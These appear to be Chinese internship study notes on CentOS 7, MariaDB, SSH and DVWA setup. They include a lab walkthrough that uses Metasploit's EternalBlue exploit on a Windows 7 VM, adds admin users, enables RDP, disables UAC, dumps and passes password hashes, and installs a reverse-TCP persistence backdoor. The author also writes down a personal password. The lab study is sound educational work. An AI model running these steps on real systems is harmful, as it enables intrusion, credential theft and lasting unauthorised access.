实习笔记

cent os 7以及linux基础

安装与登陆

记得稍微学习vi编辑器的使用会方便很多,便于修改文件内容

记得设置网络

Snipaste_2024-07-09_16-33-47

Snipaste_2024-07-09_16-34-49

Snipaste_2024-07-09_16-35-14

忘记开了可以

解决CentOS7安装后没有网络_centos7没网-CSDN博客

输入:cd /etc/sysconfig/network-scripts

可以看到网卡ifcfg-ens34,不是每个人都是ens34别跟着打自己看一下

输入:vi ifcfg-ens34
1

把ONBOOT=no,改成yes

输入:wq保存并退出

CentOS7之前的版本重启服务命令输入“service network restart”

重启后输入:ip addr
1

可以看到ip地址是192.168.20.15,当然配置文件里面默认是dhcp自动获取的你也可以改成static静态的

安装net-tools使用ifconfig

图形界面安装

当你安装centOS7服务器版本的时候,系统默认是不会安装GUI的图形界面程序,这个需要手动安装CentOS7 Gnome GUI包。

在系统下使用命令安装gnome图形界面程序

​ 在安装Gnome包之前,需要检查一下安装源(yum)是否正常,因为需要在yum命令来安装gnome包。

​ 第一步:先检查yum 是否安装了,以及网络是否有网络。如果这两者都没有,先解决网络,在解决yum的安装。

  (配置步骤可以查看我的博客文章-centOS-配置网络地址-的步骤来实现 )

​ 第二步:在命令行下 输入下面的命令来安装Gnome包。

# yum groupinstall "GNOME Desktop" "Graphical Administration Tools"

​ 第三步:更新系统的运行级别。

# ln -sf /lib/systemd/system/runlevel5.target /etc/systemd/system/default.target
第一种 图形转变命令行

1、系统界面按ctrl+alt+f3

img

第二种 图形转变命令行

1、将图形化界面切换为命令行,输入命令【systemctl set-default multi-user.target 】 之后再输入reboot重启即可。

2、重启之后就是命令行模式。

第一种 命令行转变图形

在命令行模式时
1.按ctrl+alt+f1

第二种 命令行转变图形

1、将命令行切换成图形化界面的命令【systemctl set-default graphical.target】。

2、之后再输入reboot重启即可。

更换镜像源(解决Cent os EOL)

yum makecahe

我们在更新yum源或者出现配置yum源之后,通常都会使用yum makecache 生成索引缓存索引提供搜索安装速度,索引缓存存储位置; /var/cache/yum/

yum makecache fast

yum makecache fast命令是将软件包信息提前在本地索引缓存,用来提高搜索安装软件的速度,建议执行这个命令可以提升yum安装的速度。

yum clean all

yum 会把下载的软件包和header存储在cache中而不自动删除。如果觉得占用磁盘空间,可以使用yum clean指令清除索引缓存和下载包的缓存。

1.备份原配置文件
cd  /etc/yum.repos.d
mkdir bak
mv *.repo  bak
cp  bak/CentOS-Base.repo .
2.替换默认仓库源为阿里镜像位置

(注释掉原来的镜像自动查找)

sed  -i 's/mirrorlist=/#mirrorlist=/g' CentOS-Base.repo

(打开指定仓库源位置)

sed -i 's/^#baseurl=/baseurl=/g'   CentOS-Base.repo 

(替换centos仓库位置为阿里)

sed -i 's/mirror.centos.org/mirrors.aliyun.com/g' CentOS-Base.repo 
3.更新本地缓存

yum makecache

4.查找软件

yum search {软件名}
如:
yum search open-vm-tools

5.安装软件

yum install {软件名} {-y} ### -y表示直接确认,不再提示

比如:
yum install open-vm-tools -y

Mariadb 安装

image-20240709165322024

同时安装mariadb和mariadb-server

yum install mariadb-server mariadb
systemctl enable mariadb
systemctl start mariadb
启动Maridb并设置开机启动

见上

修改数据库密码

mysql_secure_installation

[root@localhost ~]# mysql_secure_installation
NOTE: RUNNING ALL PARTS OF THIS SCRIPT IS RECOMMENDED FOR ALL MySQL
SERVERS IN PRODUCTION USE! PLEASE READ EACH STEP CAREFULLY!
In order to log into MySQL to secure it, we'll need the current
password for the root user. If you've just installed MySQL, and
you haven't set the root password yet, the password will be blank,
so you should just press enter here.
Enter current password for root (enter for none):<–初次运行直接回车
OK, successfully used password, moving on…
Setting the root password ensures that nobody can log into the MySQL
root user without the proper authorisation.
Set root password? [Y/n]    #是否设置root用户密码,输入y并回车或直接回车
New password:               #设置root用户的密码
Re-enter new password:      #再输入一次你设置的密码
Password updated successfully!
Reloading privilege tables..
… Success!
By default, a MySQL installation has an anonymous user, allowing anyone
to log into MySQL without having to have a user account created for
them. This is intended only for testing, and to make the installation
go a bit smoother. You should remove them before moving into a
production environment.
Remove anonymous users? [Y/n]   #是否删除匿名用户,生产环境建议删除,所以直接回车
… Success!
Normally, root should only be allowed to connect from 'localhost'. This
ensures that someone cannot guess at the root password from the network.
Disallow root login remotely? [Y/n] #是否禁止root远程登录,根据自己的需求选择Y/n并回车,建议禁止
… Success!
By default, MySQL comes with a database named 'test' that anyone can
access. This is also intended only for testing, and should be removed
before moving into a production environment.
Remove test database and access to it? [Y/n] #是否删除test数据库,直接回车
- Dropping test database…
… Success!
- Removing privileges on test database…
… Success!
Reloading the privilege tables will ensure that all changes made so far
will take effect immediately.
Reload privilege tables now? [Y/n] #是否重新加载权限表,直接回车
… Success!
Cleaning up…
All done! If you've completed all of the above steps, your MySQL
installation should now be secure.
Thanks for using MySQL!
登陆数据库

mysql -u root -p

输入密码

show databases

修改字符集为UTF-8

在/etc目录下的my.cnf文件

Snipaste_2024-07-09_17-18-06

SSH远程登陆

1.查看安装

rpm -qa|grep -E "openssh"

image-20240709172415027

如果存在这些文件,则可以跳过安装,直接进行远程连接。

2. 安装openssh-server服务

yum install openssh-server -y

3.配置OpenSSH服务(默认的配置已可以正常工作)

OpenSSH的主配置文件:/etc/ssh/sshd_config

Port=22  设置SSH的端口号是22(默认端口号为22)

Protocol 2  启用SSH版本2协议

ListenAddress 192.168.0.222  设置服务监听的地址

DenyUsers   user1 user2 foo  拒绝访问的用户(用空格隔开)

AllowUsers  root osmond vivek  允许访问的用户(用空格隔开)

PermitRootLogin  no  禁止root用户登陆

PermitEmptyPasswords no  用户登陆需要密码认证

PasswordAuthentication  yes  启用口令认证方式

pubkeyAuthentication 公钥密码登陆开启
允许或限制 SSH 访问

如何在 CentOS 7 上安装启用 OpenSSH (linux-console.net)

您可能希望限制某些用户或 IP 地址的 SSH 访问。为此,您可以使用 SSH 配置文件中的AllowUsers、DenyUsers、AllowGroups 和DenyGroups 选项。例如,要仅允许名为 jdoe 的用户访问,请将以下行添加到配置文件中 -

AllowUsers jdoe

要拒绝访问名为 jsmith 的用户,请添加以下行 -

DenyUsers jsmith

您还可以根据 IP 地址允许或拒绝访问。例如,要仅允许来自特定 IP 地址的访问,请添加以下行 -

Match Address 192.168.1.100
    AllowUsers jdoe

PasswordAuthentication no 禁用密码登陆

PermitEmptyPasswords no 用户登陆需要密码认证

pubkeyAuthentication 公钥密码登陆开启

PermitRootLogin no 禁用根登录

image-20240709174504006

启动sshd并设置开机启动

(此时若无法启动,提示process exited with error code. See systemctl status sshd.service and “journalctl -xe” for details

可使用sshd -t排查错误原因

我在这里第31行代码Logging少了个#注释,加上

下面是常用更改

image-20240709192024329

4.重启OpenSSH服务

service sshd restart(更新为systemctl restart sshd)

5.如果不能登录连接,则是没有开放端口,开启防火墙的22端口:
sudo firewall-cmd --zone=public --add-port=22/tcp --permanent  
sudo service firewalld restart  
其他博客连接ssh
一.先查看网络是否连接,使用ping www.baidu.con ,试试是否能ping通网站,可以代表网络已经连接。
```
[root@localhost home]# ping www.baidu.com
PING www.a.shifen.com (14.215.177.38) 56(84) bytes of data.
64 bytes from 14.215.177.38 (14.215.177.38): icmp_seq=1 ttl=128 time=40.1 ms
64 bytes from 14.215.177.38 (14.215.177.38): icmp_seq=2 ttl=128 time=96.2 ms
64 bytes from 14.215.177.38 (14.215.177.38): icmp_seq=3 ttl=128 time=43.5 ms
```
ping通了,说明网络连接没有问题。
二.可以先输入命令netstat -an| grep ssh,查看ssh是否开启,如果开启就可以直接远程连接.
```
[root@localhost home]# netstat -an |grep ssh
.......................
........................
```
显示没有开启
三.开启SSH连接
1.要确保centos7安装了openssh-server,在终端输入yum list installed | grep openssh-server
```
[root@localhost hjw]# yum list installed |grep openssh-server
1
我这显示已经安装了,如果没有输出显示表明没有安装,通过输入yum install openssh-server进行安装。
[root@localhost hjw]# yum install openssh-server
1
2.安装好后,使用vim打开/etc/ssh/下面的sshd_config文件进行更改
[root@localhost hjw]# vim /etc/ssh/sshd_config
1
编辑打开的文件:
.........
........
Port 22          #将改行前面的#键去掉,开启22端口
#AddressFamily any
ListenAddress 0.0.0.0 #将改行前面的#键去掉
ListenAddress ::      #将改行前面的#键去掉
.......
.........
#LoginGraceTime 2m
PermitRootLogin yes         #将改行前面的#键去掉  允许远程登录
#StrictModes yes
...........
..............
#PasswordAuthentication yes
#PermitEmptyPasswords no
PasswordAuthentication yes     #将改行前面的#键去掉,这是开启用户名和密码登录
```
保存文件后退出
3.编辑完后要开启sshd服务,输入sudo service sshd start
```
[root@localhost hjw]# sudo service sshd start
Redirecting to /bin/systemctl start sshd.service
```
4.检查22端口是否开通,输入命令netstat -an | grep 22
```
[root@localhost hjw]# netstat -an| grep 22
tcp        0      0 192.168.122.1:53        0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN  
```
表明已经开通,可以根据ip地址进行远程连接,使用ifconfig命令获取ip地址
连接成功。
其他有趣的尝试
权限不够

image-20240709193421791

可以把jing用户添加到用户组来解决这个问题(暂时没尝试,只是猜测

Linux数据库使用

SHOW VARIABLES LIKE 'character_set%'; SHOW VARIABLES LIKE 'collation%'; 这些查询会返回当前数据库连接的字符集和校对设置。 通过这些查询,可以了解到 MySQL 中的字符集配置情况。

我们可以使用以下语法来查看表的结构: desc 表名; 例如,要查看名为 employees 的表的结构,可以运行以下命令:desc employees; 上述命令会返回关于 employees 表的列名、数据类型、长度、是否允许空值等详细信息

img

修改默认字符集

image-20240710183511123

数据库查询用户与导出导入

MySQL 导入数据 | 菜鸟教程 (runoob.com)

如果你需要导出整个数据库的数据,可以使用以下命令:

$ mysqldump -u root -p databasename > filename.txt
password ******

mysqldump参数

--no-create-info参数会跳过create table 语句
--skip-add-locks参数加上会跳过锁表语句
--set-gtid-purged参数跳过导gtid

还原数据

mysql> create database abc;      # 创建数据库
mysql> use abc;                  # 使用已创建的数据库 
mysql> set names utf8;           # 设置编码
mysql> source /home/abc/abc.sql  # 导入备份数据库

image-20240709213908381

image-20240709213930377

SELECT DISTINCT CONCAT('User: ''',user,'''@''',host,''';') AS query FROM mysql.user;
#查看所有数据库用户,权限

建立连接到idea可以方便的查看数据库内的信息

创建实例

create table databasename.tablename
    (
       SID   int         not null,
       name  varchar(10) null,
         age   int         null,
         sex   VARCHAR(5)  null,
         class int         null,
         constraint studentid
            primary key (SID)
     );
INSERT INTO databasename.tablename (SID, name, age, sex, class)
VALUES (1026, 'name', 14, 'man', 1);

VI/VIM编辑器

其他简单操作省略,打开,切换模式,保存退出等

:w 保存文件

:q 退出文件

:wq 保存并退出文件

:w! 强制保存文件

:q!强制退出文件

:wq! 强制保存并退出文件

:w 1.txt 将文件另存到1.txt

:1,3 w 1.txt 将1-3行内容另存到1.txt

:r 2.txt 将2.txt文件内容写入到该文件光标所在行中

:set nu 显示行号

:set nonu 取消显示

普通模式
键盘上下左右控制光标移动

0 $ 分别表示,光标跳到所在行的行首和行尾

gg G 分别表示,光标跳到首行和尾行

y n(n表示复制当前光标下几行内容)复制光标所在行内容

yy 复制光标所在行内容(以行为单位)

d n 删除(删除当前光标下n行)

dd 删除当前光标所在行(以行为单位)

p粘贴

u撤销(撤销操作)
制、粘贴、剪切

选择文本
  • v+光标移动 (按字符选择)高亮选中所要的文本,然后进行各种操作(比如,d表示删除)。
  • V (按行选择)
  • v+选中的内容+c 更改选中的文字
复制:y(ank)
  • y 用v命令选中文本后,用y进行复制
  • yy 复制当前行,然后用p进行粘贴
  • 5yy 复制从当前行开始的5行
  • y_ 等同于yy
  • Y 等同于yy
  • yw 复制当前单词
  • y$ 从当前位置复制到行尾
  • y0 从当前位置复制到行首
  • y^ 从当前位置复制到第一个非空白字符
  • yG 从当前行复制到文件结束
  • y20G 从当前行复制到第20行
  • y?bar 复制至上一个出现bar的位置
粘贴:p(aste)
  • p(小写) 在光标位置之后粘贴
  • P(大写) 在光标位置之前粘贴
剪切
  • v + 方向键(hjkl)选中内容 + d 剪切 + p粘贴
查找

/要查找的字符串即可查找

命令

基础命令

whoami

whoami:显示当前登录主机的用户名

与whomai命令类似的是

  • who
  • w
date

显示日期

hostname

hostname:显示计算机(主机)名

hostname + 名称可设置计算机名

pwd

查看当前目录

常见的目录表示方法

/代表根目录

. 代表当前目录或者本目录

.. 代表当前目录的上级目录或者父目录
代表当前用户的主目录

目录名 代表当前目录下的目录

/目录名 代表根目录下的目录

/目录名1/目录名2 代表根目录下目录名1下的目录名2

cd

进入目录

ls

查看当前目录下文件

参数列表

  • -l 详细信息显示

  • -a 显示隐藏文件

  • -ld 目录名 显示制定目录的属性

  • ll 和ls -l效果一样

mkdir

创建目录

touch

创建文本或更新文件日期、

cp

复制文件或目录

cp 目录1/文件1 目录2 复制目录1下的文件到目录2下

cp 目录1/文件2 目录2/文件2 复制目录1下的文件到目录2下,并 改名为文件2

cp -r 目录1 目录2 复制目录1到目录2下

cp -r 目录1 目录2/目录3 复制目录1到目录2下,并改名为目录3

rm

删除

mv

移动

man

查看帮助手册

vi

vim编辑器

⭐chattr

+i 使root用户无法删除

-i 撤销

渗透测试

注意:渗透测试需要得到认可,不可以进行网络攻击

image-20240714081205923

白盒测试

知道内部结构

灰度测试

介于两者之间

黑盒测试

不知道内部结构,外部测试

kali 20224.2 x86_64 amd64攻击靶机 windows 7 MS17-010

[原PPT](./课件/PTES2-1、《网络空间安全—渗透测试》部署 Metasploit.pdf)

MetaSploit

image-20240710193122840

image-20240710193509121

image-20240710193535950

image-20240710193553661

image-20240710193619436

数据库服务

image-20240710193641857

image-20240710193704320

MSF控制台

image-20240710193755310

常用命令见PPT

nmap 扫描漏洞端口

扫描192.168.66.0到192.168.66.24

image-20240710194942578

永恒之蓝MS17-010示例:

每次主机IP都有可能发生变化,记得重新查找IP

  1. 前置信息收集
  2. 模块调用
  3. 威胁建模(漏洞测试
  4. 渗透攻击
  5. 口令提取

这里开了win 7靶机和kali 2024.2,靶机提前查看了ip地址192.168.248.133省去搜索

网络连接模式均为桥接NAT

win7需要在网络页面打开公用网络共享才能扫到端口,服务

meterpreter控制台进入

活动主机探测

arp-scan -l

db_nmap -v -sn 192.168.248.0/254(网络0到254)

image-20240710195818382

得知IP地址

hosts

查看活动主机统计

image-20240710205104458

需要连接数据库,开启后sudo msfdb init连接

端口扫描

db_nmap -v -sS 主机或网络(window 7虚拟机ip地址)

完整扫描

db_nmap -v -A 主机

image-20240710210449381

按住ENTER可以刷新进度

查看 主机服务统计

services

image-20240710210648176

记住常用端口开启什么服务

135:共享文件

扫描是否有漏洞可以利用

//带星号的部分不要直接复制有转义字符

定位模块

image-20240710211646644

locate *.nse

image-20240710211736657

nmap内置Nessus洞分析脚本

locate *vuln*.nse

搜索脚本

search -h (帮助信息)

search 模块名关键字

search 模块名关键字 type:类型(如:auxiliary、exploit、 payload、post )

search 模块名关键字 type:类型 platform:系统类型(如:windows、linux、unix)

image-20240710214902591

search smb scanner type:【exploit(表示攻击)】扫描工具无攻击型

image-20240710212648726

用脚本扫描主机(多个脚本同时执行)

db_nmap -v --script= *smb*.nse 主机

image-20240710211105128

image-20240710200636103

执行结果

image-20240710212231046

单个脚本扫描漏洞

img

img

img

img

img

img

查看漏洞统计

vulns

没有扫描到漏洞

演示视频中存在漏洞

MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法

MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法-CSDN博客

MS17-010(永恒之蓝)漏洞分析与复现-CSDN博客

通过services了解到445端口确实开放

试着扫描一下

image-20240710213311151

搜索并使用永恒之蓝漏洞扫描工具

image-20240710213514840

扫描并设置目标,进行分析

结果显示(绿色 [+]一行)可能存在MS17-010

使用ms17-010攻击模块,对靶机进行攻击

use exploit/windows/smb/ms17_010_eternalblue

set rhost 目标主机

run或者expliot

得到shell

简单直接执行命令

image-20240710213819019

1.键入screenshot截图

image-20240711110216522

2.键入 shell进入shell

image-20240710213919979

3.输入chcp 65001解决乱码问题

image-20240710213951014

4.*按键* *ctrl-Z* 或 background 将渗透会话存入后台。

img

通过shell对靶机进行控制

  • 创建新用户 ,语法:net user 用户名 密码 /add
net user hacker hacker /add
  • 将用户hacker添加至管理员组

    net localgroup administrators hacker /add
    
  • 开启远程桌面功能

    查看3389端口状态:netstat -ano

    image-20240710214620642

​ 看到3389端口并没有开启,开启3389端口,命令:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
  • 远程桌面连接靶机(kali中)
rdesktop 192.168.248.133:3389

Autoselecting keyboard map 'en-us' from locale报错

image-20240711144601522

解决方法:

登录控制面板——系统和安全——允许远程访问

把仅允许前面的勾给去掉。

img

Core(error): tcp_connect(), unable to connect to 192.168.248.135

把主机防火墙关闭

image-20240711145354338

用创建的用户ssh连接进入主机

rdesktop -u hacker -p hacker 192.168.248.135:3389

image-20240711145751053

系统用户名和口令HASH值都存储在安全账户管理数据库(SAM),通过运行meterpreter hashdump 渗透模块可以读取SAM数据库内容,提取用户的口令HASH值

search hashdump type:post platform:windows

img

\1. 返回*meterpreter*控制台,将渗透会话迁移到*service*进程(以便获取system特权)

  • ps查看目标机器进程

  • 输入getpid命令查看Meterpreter Shell的进程

image-20240711135349660

  • 输入migrate 2020 将shell进程迁移到explorer.exe进程里(迁移进程选择稳定进程)

image-20240711135649242

注:自动迁移进程命令:run post/windows/manage/migrate

输入getpid查看当前PID,发现变为2020

进程迁移完后,原先PID为2980的进行会自动关闭,如未关闭可以输入kill 2980 杀掉进程

使用搜索到的合适 hashdump工具

image-20240711140217154

换个工具

image-20240711140621971

在Meterpreter Shell提示符下输入hashdump命令,将导出目标机sam数据库中的Hash。注意,在非system权限下会出现失败,报错

“priv_passwd get_sam_hashes: Operation failed: The parameter is incorrect.

可能是进程没有权限,试着插入service进程

image-20240711155532409

用户没有权限

说明攻击的用户没有权限,发现是Windows 7登陆用户不是管理员用户没有权限

切换靶机用户为管理员再次攻击hashdump即可获得hash值

image-20240711152043892

利用ophcrack破解hash值

先加载这两个密码表image-20240711161408094

输入单个hash数值image-20240711161533610

点击crack破解密码

image-20240711161450942

使用smb_login验证密码登陆

set参数rhost,smbpass(密码),smbuser(用户)

image-20240711161248367

Meterpreter 文件控制修改在靶机访问网页

*实训记录:*
使用sysinfo命令可以查看有关目标系统的基本信息,包括磁盘信息。img ![img](file:///C:\Users\JING'Y~1\AppData\Local\Temp\ksohtml22604\wps2.jpg)
Cd 移动
Mkdir 创建目录
rmdir 删除目录
cat抓取文件查看文本文件内容
edit default.htm 编辑文件内容
Download 文件下载文件
Upload 上传文件
img

要想在靶机访问网页需要安装IISweb管理服务

image-20240711192008011

打开该服务

万维网服务也要打开

image-20240711192555744

image-20240711192810532

image-20240711194559709

靶机可以访问

注册表控制

略(实现开机启动,修改服务,修改端口,隐藏用户等

Meterpreter 后门植入

在Meterpreter控制台: *run* persistence -h 了解*运行选项*

run persistence

参数

image-20240711202712771

*主要是:**-r 本机IP对方连回来、-p 连我的哪个端口、-X*

进入meterpreter模式,攻击成功

后门植入方式一

msf利用ms17-010永恒之蓝获取win7 shell并留后门

创建用户有两种方式

第一种:在meterpreter模式直接创建,创建用户直接具有administrator权限

 ```
 meterpreter > run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123456
 ```

 ![image-20240711205204498](D:\Desktop\实习笔记\实习笔记图片\image-20240711205204498.png)

第二种:进入shell创建用户后添加到administrator管理员组

  • meterpreter > shell
    C:\Windows\system32>net user test1 123456 /add 
    C:\Windows\system32>net localgroup administrators test1 /add
    C:\Windows\system32>net user test1
    
此时你就可以远程登录靶机,登录靶机的方式依然有两种。

第一种:远程桌面登录

root@kali:~# rdesktop 192.168.72.128

第二种:SAM值登录

SAM值登录要注意以下几点:
1.获取SAM密码
2.关闭windows的UAC
3.psexec模块连接登录

1.hashdump获取密码hash密码值

在这里插入图片描述

2.关闭UAC

关闭UAC需要重启才生效

meterpreter > shell

C:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADD
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t
REG_DWORD /d 0 /f
  • 参数说明
    ADD 添加一个注册表项
    -v 创建键值
    -t 键值类型
    -d 键值的值

3.psexec模块连接登录

msf5 exploit(windows/smb/webexec) > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/psexec) > set lhost 192.168.72.131
lhost => 192.168.72.131
msf5 exploit(windows/smb/psexec) > set rhosts 192.168.72.128
rhosts => 192.168.72.128
msf5 exploit(windows/smb/psexec) > set smbuser test
smbuser => test
msf5 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
smbpass => aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
msf5 exploit(windows/smb/psexec) > set smbdomain workgroup
smbdomain => workgroup
msf5 exploit(windows/smb/psexec) > run

如果UAC没关此时就会出现Exploit failed [no-access]: RubySMB::Error::UnexpectedStatusCode STATUS_ACCESS_DENIED的状况。

在这里插入图片描述

关闭UAC的后登录成功截图

在这里插入图片描述

后门植入方式二

Lhost本机IP Lport本机端口

Rhost目标IP Rport目标端口

搜索persistence

image-20240711212557801

植入

使用 set lhost ,set lport ,set STARTUP (用户,SYSTEM) ,set SESSION设置相关参数

image-20240711212635037

set lhost 192.168.248.131#自己改
set lport 2020#自己改
set session 1#自己改
set startup SYSTEM#如果startup参数为USER可能不能正常运行(为什么呢)

设置必要参数

image-20240711213355400

[*] Running persistent module against SANS via session ID: 1
[+] Persistent VBS script written on SANS to C:\Windows\TEMP\XUHKkpH.vbs
[*] Installing as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\OgUuRSshhg
[+] Installed autorun on SANS as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\OgUuRSshhg
[*] Clean up Meterpreter RC file: /home/kali/.msf4/logs/persistence/SANS_20240711.3311/SANS_20240711.3311.rc

image-20240711223736642

[*] Running persistent module against SANS via session ID: 3
[+] Persistent VBS script written on SANS to C:\Windows\TEMP\oTneBblKWMz.vbs
[*] Installing as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MNKZHEEroV
[+] Installed autorun on SANS as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MNKZHEEroV
[*] Clean up Meterpreter RC file: /home/kali/.msf4/logs/persistence/SANS_20240711.3640/SANS_20240711.3640.rc
后门连接

search multi/handler

image-20240711213943690

set payload windows/meterpreter/reverse_tcp

image-20240711214009895

这个写错了,lport应该是本机端口2020

设置lhost并运行 run

当主机开机登陆时就可以获得shell

image-20240711214407856

DVWA安装部署,通关情参考另一篇文档

联网下载DVWA

本人之前乱搞把系统网络配置弄坏了,重新安装了CENTOS 7,望周知

image-20240711214407856

一、安装部署 Linux (centos7)

yum update -y 
#关闭selinux 
sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config #永久关闭重启生效
setenforce 0 #临时关闭

image-20240712170059043

第一步更新失败检查网络和镜像源,网络配置有问题

image-20240712163739191

一、查看SELinux状态:

1、我们可以通过查看配置文件的命令 cat /etc/selinux/config 来查看状态

image-20240712125655065

发现SELinux共有3个状态enforcing (执行中)、permissive (不执行但产生警告)、disabled(关闭)。

2,也可以用这个命令检查:getenforce

[root@localhost /]# getenforce
Enforcing
3、也可以用下述命令;如果SELinux status参数为enabled即为开启状态
[root@localhost /]# /usr/sbin/sestatus -v
SELinux status:                 enabled
二、关闭SELinux:
1、临时关闭(重启机器后失效):

setenforce 0设置为permissive模式;setenforce 1 设置为enforcing模式;

setenforce 0

2、永久关闭(需要重启机器):
sed -i s#SELINUX=enforcing#SELINUX=disabled# /etc/selinux/config

重启机器即可

二、安装部署LAMP

1.httpd

##
yum install httpd
##
systemctl enable --now httpd
##
systemctl status httpd
##
systemctl is-enabled httpd
##Allow Apache Through the FirewallD
firewall-cmd --add-port=80/tcp --permanent#这个命令是用于在基于Firewalld的Linux系统上添加一个永久性规则来开放TCP端口80。permanent表示永久
firewall-cmd --reload
##check brower web http://xxxxxx/

image-20240712161604108

image-20240712163833765

2.MariaDB Database Server

yum install mariadb-server
mysql -V
systemctl enable --now mariadb
mysql_secure_installation#初始化

已经安装过了

3. PHP

##
#yum install php php-mysqlnd
#上面是5.x版本的,别装
##
yum install epel-release
##
rpm -ivh http://rpms.famillecollet.com/enterprise/remi-release-7.rpm
##Reset PHP 7.2 module;
#yum module reset php:7.2
##Reset PHP 7.3 module;
#yum module reset php:7.3
##Enable PHP 7.4 remi repository.
yum --enablerepo=remi install php74-php
yum --enablerepo=remi install php74-php-mysql
##检查下php版本
cd /usr/bin
ln -s php74 php
php -v
##可选安装扩展模块,EXTENSION替换为对应的模块名
yum --enablerepo=remi install php74-php php74-php-gd php74-php-xml php74-phpsockets php74-php-session php74-php-snmp php74-php-mysql
#最后一段命令可以代替前面的所有安装命令

image-20240712170331767

image-20240712163912327

4.测试环境

vi /var/www/html/test.php

自己建立的文件

<?php
phpinfo();
?>

重启一下httpd服务

systemctl restart httpd

浏览器测试下看看是否可以看到php相关信息

默认网页

image-20240712163343780

修改后网页

image-20240712163653748

三、安装部署dvwa

1.创建DVWA所用的数据库

mysql -u root -p
create database dvwa;
create user dvwa_user @localhost identified by 'XXXXX';#密码
grant all on dvwadb.* to dvwa_user@localhost identified by 'xxxxx';#把dvwadb改成dvwa
flush privileges;
quit;

来自chatGPT解释:

这两条MySQL语句用于在MySQL数据库中授权用户和刷新权限:

  1. grant all on dvwadb.* to dvwa_user@localhost identified by 'xxxxx';

    • grant: 这是MySQL的授权命令,用于授予特定权限给用户。
    • all: 表示授予所有权限,包括SELECT、INSERT、UPDATE、DELETE等。
    • dvwadb.*: 表示授权应用于名为 dvwadb 的数据库的所有表 (* 是通配符,表示所有表)。
    • to dvwa_user@localhost: 指定授予权限的用户为 dvwa_user,并限定只能从本地 (localhost) 连接。
    • identified by 'xxxxx': 指定用户的密码为 xxxxx。这个密码应该是实际使用的密码,用于验证用户身份。

    综合起来,这条语句的作用是在MySQL中为 dvwa_user 用户授予对 dvwadb 数据库的所有权限,并且用户需要使用指定的密码来进行身份验证。

  2. flush privileges;

    • flush privileges: 这是一个MySQL命令,用于重新加载授权表,使新的授权或权限更改生效,而不需要重启MySQL服务。

    在执行授权或修改权限后,通常需要执行 flush privileges 命令,以便MySQL立即应用这些更改,而不必等到下一次MySQL服务重启。

请注意,执行这些命令需要具有适当的MySQL权限,通常是 GRANT 权限或超级用户权限 (SUPER)。

注释:自己的密码是 3081909107

2.配置DVWA的PHP环境

#安装gd模块
yum --enablerepo=remi install php74-php-gd
#再次检查php版本
php -v

已经安装过了

3.修改php 参数

ln -s /etc/opt/remi/php74/php.ini /etc/php.ini
vim /etc/php.ini
把原来的配置打#注释
##允许远程文件包含-打开
allow_url_fopen = On
allow_url_include = On   ##要改
## 是否隐藏php警告信息
display_errors = On  ##要改
display_startup_errors = On  ##要改

4.上传DVWA软件 上传dvwa压缩包,并解压/var/www/html目录下

Windows和Linux虚拟机之间互传文件_centos7怎么从本地windows上传压缩文件至虚拟机-CSDN博客

shell连接XTP传输文件

解压缩tar压缩包

假设为zip文件

sudo unzip ****.zip -d /var/www/html

不支持unzip命令

重新打包了一个tar文件传输

image-20240712172808232

image-20240712172928585

image-20240712172948573

假设dvwa压缩包的文件名为 dvwa.tar.gz,使用以下命令解压缩到/var/www/html目录下:
对于 .tar.gz 格式的压缩包:
sudo tar -xzf dvwa.tar.gz -C /var/www/html
  • sudo: 以超级用户权限运行命令,可能需要输入管理员密码。

  • tar: 解压缩命令。

  • -xzf
    

    : 参数用来解压缩,其中:

    • x: 解压缩
    • z: 使用gzip解压缩
    • f: 指定后面跟着文件名
  • dvwa.tar.gz: 压缩包的文件名。

  • -C /var/www/html: 指定解压缩到的目标目录是/var/www/html

对于 .tar.bz2 格式的压缩包:

如果是 .tar.bz2 格式的压缩包,命令略有不同:

sudo tar -xjf dvwa.tar.bz2 -C /var/www/html
  • j: 使用bzip2解压缩。

5.修改相关配置

复制配置文件,以下 两命令二选一即可。

数据库连接信息:

1.cp /var/www/html/config/config.inc.php{.dist,} 
2.cp /var/www/html/config/config.inc.php.dist /var/www/html/config/config.inc.php

image-20240712174310184

vim /var/www/html/config/config.inc.php

修改以下内容:

...
# Database variables
# WARNING: The database specified under db_database WILL BE ENTIRELY DELETED
during setup.
# Please use a database dedicated to DVWA.
#
# If you are using MariaDB then you cannot use root, you must use create a
dedicated DVWA user.
# See README.md for more information on this.
$_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'dvwa_user';
$_DVWA[ 'db_password' ] = 'xxxxx';
...

安装eCAPTCHA keys

eCAPTCHA keys 为谷歌提供的验证服务,国内不好访问,复制以下进去即可.

...
# ReCAPTCHA settings
# Used for the 'Insecure CAPTCHA' module
# You'll need to generate your own keys at:
https://www.google.com/recaptcha/admin
$_DVWA[ 'recaptcha_public_key' ] = '6LcWVswUAAAAAHPp-TlOuNcLcrw7iAWVhtOrDYFm';
$_DVWA[ 'recaptcha_private_key' ] = '6LcWVswUAAAAABssYEu10VtWinRub6b_D8zn_sSL';
...

6.修改文件属性

将文件修改为apach所拥有,不然因为是root解压出来的文件apache没有访问权限

不要chmod 777对服务器来说比较危险

chown -R apache:apache /var/www/html

7.重启apache服务

systemctl restart httpd

四、完成部署

使用浏览器打开页面,按照配置向导完成后续配置

image-20240712175230163

linux中php版本升级_centos7 php7升级到php8.1-CSDN博客

